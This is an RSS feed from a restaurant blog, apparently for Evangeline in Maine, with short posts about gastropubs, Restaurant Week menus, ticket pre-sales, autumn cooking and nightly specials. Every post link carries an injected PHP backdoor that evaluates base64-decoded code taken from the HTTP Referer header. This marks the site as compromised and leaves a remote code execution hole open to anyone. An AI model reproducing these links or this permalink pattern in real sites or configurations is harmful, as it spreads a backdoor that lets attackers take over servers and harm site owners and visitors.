http://www.restaurantbandol.com/blog New Information and Happenings Sat, 15 May 2010 00:18:09 +0000 http://backend.userland.com/rss092 en Just so everyone isn't confused, there are no Gastropubs in Maine. Portland Magazine has called The Porthole a Gastropub, and, as usual, they are completely wrong. Once again, THERE ARE NO GASTROPUBS IN MAINE. Go to England to enjoy a Gastropub. http://www.restaurantbandol.com/blog/2010/05/14/there-are-no-gastropubs-in-maine/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ ? Evangeline is participating in this year's "Taste of the Nation" event by SOS. Here is a link to pre purchase tickets BEFORE they go on sale. They run out pretty quickly, so eat them up! http://www.restaurantbandol.com/blog/2010/03/31/taste-of-the-nation-ticket-pre-release/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Greetings all, it has been a while. We were happily busy with RestaurantWeek, and look forward to spring. It feels like it is upon us, however I don't see any pea shoots yet. Soon enough. I was introduced to a wonderfully informative web page called FindEatDrink ... http://www.restaurantbandol.com/blog/2010/03/18/findeatdrink/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Evangeline is looking forward to Restaurant Week '10 this coming March. From Monday March 1 to Wednesday March 10 we will be offering a special three course menu for $30.10, along with our regular menu. Menu items will rotate, but look forward to our specialties and fan favorites. Until then, ... http://www.restaurantbandol.com/blog/2010/02/03/maine-restaurant-week-10/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ We are getting in to our groove here with Autumn. While I love cooking all year round (there are about three days in March that are iffy), Autumn seems to be my favorite. Maybe the change from late summer to Autumn is more drastic than the transition from ... http://www.restaurantbandol.com/blog/2009/10/27/autumn-at-evangeline/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ We would all like to extend a big Evangeline "THANK YOU" to Ms Karen Snyder, for her brilliance, eloquence, and astounding knowledge of all things Pastis. Your way with our service staff made us all so happy to have you here. [caption id="attachment_150" align="aligncenter" width="218" caption="Karen, you are ... http://www.restaurantbandol.com/blog/2009/09/22/zen-and-the-art-of-pastis/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ A properly roasted chicken takes me back to my youth. It also takes me back to when I was trying to figure out how to properly roast a whole chicken. There were about a dozen not-so-perfect roast birds before I balanced the temperature with the size, with the ... http://www.restaurantbandol.com/blog/2009/08/21/clabber-chicken-and-truffles/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Thank you for all of the nice "pats on the back". Very much appreciated! http://www.restaurantbandol.com/blog/2009/08/07/usa-today/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ To potential posters, (Tina), please leave real e-mail addresses. http://www.restaurantbandol.com/blog/2009/08/05/email/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Tonight we have veal chateaubriand with a zucchini gratin. The veal is amazing. Sauce Vierge and a fried farm egg on the gratin!! http://www.restaurantbandol.com/blog/2009/07/29/tonight/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/